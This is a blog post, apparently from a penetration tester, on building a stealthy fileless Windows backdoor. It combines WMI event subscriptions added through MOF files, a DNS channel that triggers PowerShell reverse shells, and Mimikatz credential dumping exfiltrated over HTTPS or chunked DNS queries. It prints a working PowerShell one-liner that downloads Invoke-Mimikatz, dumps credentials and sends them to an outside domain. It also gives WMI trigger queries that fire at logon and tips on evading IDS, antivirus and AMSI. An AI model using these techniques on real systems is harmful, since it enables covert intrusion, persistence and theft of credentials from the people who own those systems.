A few weeks ago I saw a tweet by @SwiftOnSecurity about a blogpost describing the “yeabest.cc” malware.
The malware used wmi for persistence, it ran a VB script that modified the startup parameters of the targeted browsers to ensure it used their page as a starting-page. I had not read much into WMI, I only used it for remote command execution since it is superior to using PsExec (file less so less issues with AV). I read the blog and decided it would be nice to use this for my own persistence. I googled for “ActiveScriptEventConsumer” did not find many security related blogs. This should be good, I should be able to create something interesting! Googling some more showed me that there are in fact allot of people who have looked in to this, and that I was not really up-to-date.
Matt Graeber did a very good talk at BlackHat “Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor”. The talk and document are very useful if you want to start using WMI. Check them out: Document: PDF Talk: YouTube
Well this won’t be really new but it may be interesting, I had some ideas on how to stay extra sneaky peaky. Most persistence activities try and run their shell each time a system boots or at a specific time. This constant C2 connection could allow the blue team to detect your reverse shells. Hiding those will allow you to maintain access to the network. The WMI part allows for file-less infection, using Powershell to execute our backdoors will keep us in memory using DNS will allow us to use a less-monitored channel. All in all a chance to keep our access without getting detected.
The DNS ping mechanism allows us to have intermittent checks if a reverse shell should be instantiated. Performing a unique query will get any DNS server to query us (the name server) in order to get the IP for our domain. This way we can check if the system querying us needs to start a shell. The response from our server, an ip, will describe what action to take. The protocol looks like the following:
format: <hostname>.<random seed>.<our domain>.<tld> example: pc12994.adDed.ourdomain.nl
Hostname: so we can determine if we want a shell. Random seed: to ensure we get a query from whichever DNS server is getting our clients request.
The client is pretty straightforward get the hostname, sanitize it, construct the query, fire the query and evaluate the result in order to determine if the shell needs to be started. You can find this script on GitHub.
In order to receive those query’s I downloaded dnslib and modified a version of the Server component that’s included. The requests look like the following:
The server receives the request, parses it and checks if there is a file with the same hostname available in the zombie folder. The source of the server is available from GitHub.
Executing the “touch zombie/IE11Win81” command will set the stage for our client, the next time it connects it will download our powershell code and execute it. Another great idea would be to use the IP returned from the query in order to determine which CNC to connect to. This could be achieved using Veil’s JSON-RPC API or chaining together unicorn.py and Flask in order to generate the payloads at will. In this POC I generated my payload using unicorn.py. Hosting it on an SSL enabled site allows you to hide the content from IDS, now you only have to deal with known bad hosts/bad IP’s.
Now we need a mechanism that triggers our whole chain. This is where the WMI comes in, we will add a “CommandLineEventConsumer” with a time based query that allows us to check on specific hours of the day. The nice thing is you can do it based on many things, you could execute the script once someone adds a USB drive, once a user logs on interactively, once a specific process starts or stops or when that one user logs on. I’ve created the following Managed Object Format (MOF) file in order to add our backdoor. The util mofcomp will compile and add the correct instances to the required WMI repository. You can find the script on GitHub.
The command is our powershell script Base64 encoded and passed as a parameter, the -EncodedCommand allows us to do so. The mof file uses the following query:
```SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA “Win32_LocalTime” AND TargetInstance.Hour = 14 AND TargetInstance.Minute = 48 AND TargetInstance.Second = 0;
Now the moment the system time hits 14:48:00: Our Powershell script is executed Client fires the query Our server checks if the host name file exists in our “zombies” folder Our server sends back the trigger IP Powershell scripts evaluates the IP and starts our powershell payload <img src="/images/wmi06.png" width="600"> w00t a nice SYSTEM shell. But if we wanted to we could just let that backdoor query every day right up until we actually need it. ## MimiKatz Another interesting approach would be to ex filtrate credentials and not do anything else. This will allow you to keep access without actually having an active connection from your client to your server. I’ve thought about two ways of ex-filtrating the data: HTTPS or DNS. HTTPS is the easiest: ```powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1'); $var = Invoke-Mimikatz -DumpCreds; $varbytes = [System.Text.Encoding]::UTF8.GetBytes($var); $var64 = [System.Convert]::ToBase64String($varbytes); (New-Object Net.WebClient).DownloadString('https://domain.nl/scriptthathandleshttps/' +$var64);
Nice thing about the code above? MimiKatz source is being served by Github over https so no detection based on content, known bad host of known bad IP.
DNS is a bit more work 🙂 we need to clean the data and put it into DNS-bite sizes. Next to this we need a more extensive server side in order to re-assemble all the data. Because DNS is a UDP based protocol we can’t assume all requests come in at the same time. The source of this script is available from GitHub. Our client-side code executes the following process:
Our backdoor executes MimiKatz Retrieves credentials Base64 all MimiKatz output Remove the bad chars from the Base64 output Cut our string into different parts so we can send it Query the domain with our domain format mimikatz-dns-powershell
The Powershell script above sends the following DNS queries to our DNS servers:
format: <call number>-<totall number of calls>.<data>.<message ID>.<domain>.<tld> example: 0-10.CiAgLiMjIyMjLiAgIG1pbWlrYXR6IDIuMCBhbHBoYSAoeDg2KSByZWxlYX.zUdgA.domain.nl 1-10.NlICJLaXdpIGVuIEMiIChGZWIgMTYgMjAxNSAyMjoxNzo1MikKIC4jIyBe.zUdgA.domain.nl 2-10.ICMjLiAgCiAjIyAvIFwgIyMgIC8qICogKgogIyMgXCAvICMjICAgQmVuam.zUdgA.domain.nl.
I used the same dnslib server code in order to handle the input we keep an array of messages based on it’s message ID. Once all packages are received the script re-adds the bad characters and Base64 decodes it. This time we need quite allot more query’s in order to send our data, a successful exfill will take somewhere around 100 queries. The server side code is available from GitHub.
The persistence we add in the same manner, only the query differs. We’ll use a query that fires each interactive logon. This could be useful when you own a server, the moment an admin logs in you receive an overview of the available credentials. That MOF file is available from GitHub.
SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA "Win32_LogonSession" AND TargetInstance.LogonType = 2;
Chances are some parts of my blog are unclear, that’s why i’ve uploaded all the used scripts to Github. So you can check how it all works and laugh at my code!
Interesting note: I’ve tested this on Windows 10 and noticed my PowerShell scripts get detected by Anti-Virus. Playing around the Invoke-Mimikatz I noticed Windows Defender detected the malware each time. This is due to a new feature in Windows 10 Antimalware Scan Interface (AMSI), I tried to modify allot of things except the MimiKatz binary and each time it got detected. Simple obfuscation did not seem to work, seems we now need to obfuscate at the source instead of packing everything. These where some very simple checks (base64, xor, adding/remove things), so nothing definitive yet!
That’s all folks! If you have any questions, find me on Twitter: Follow @rikvduijn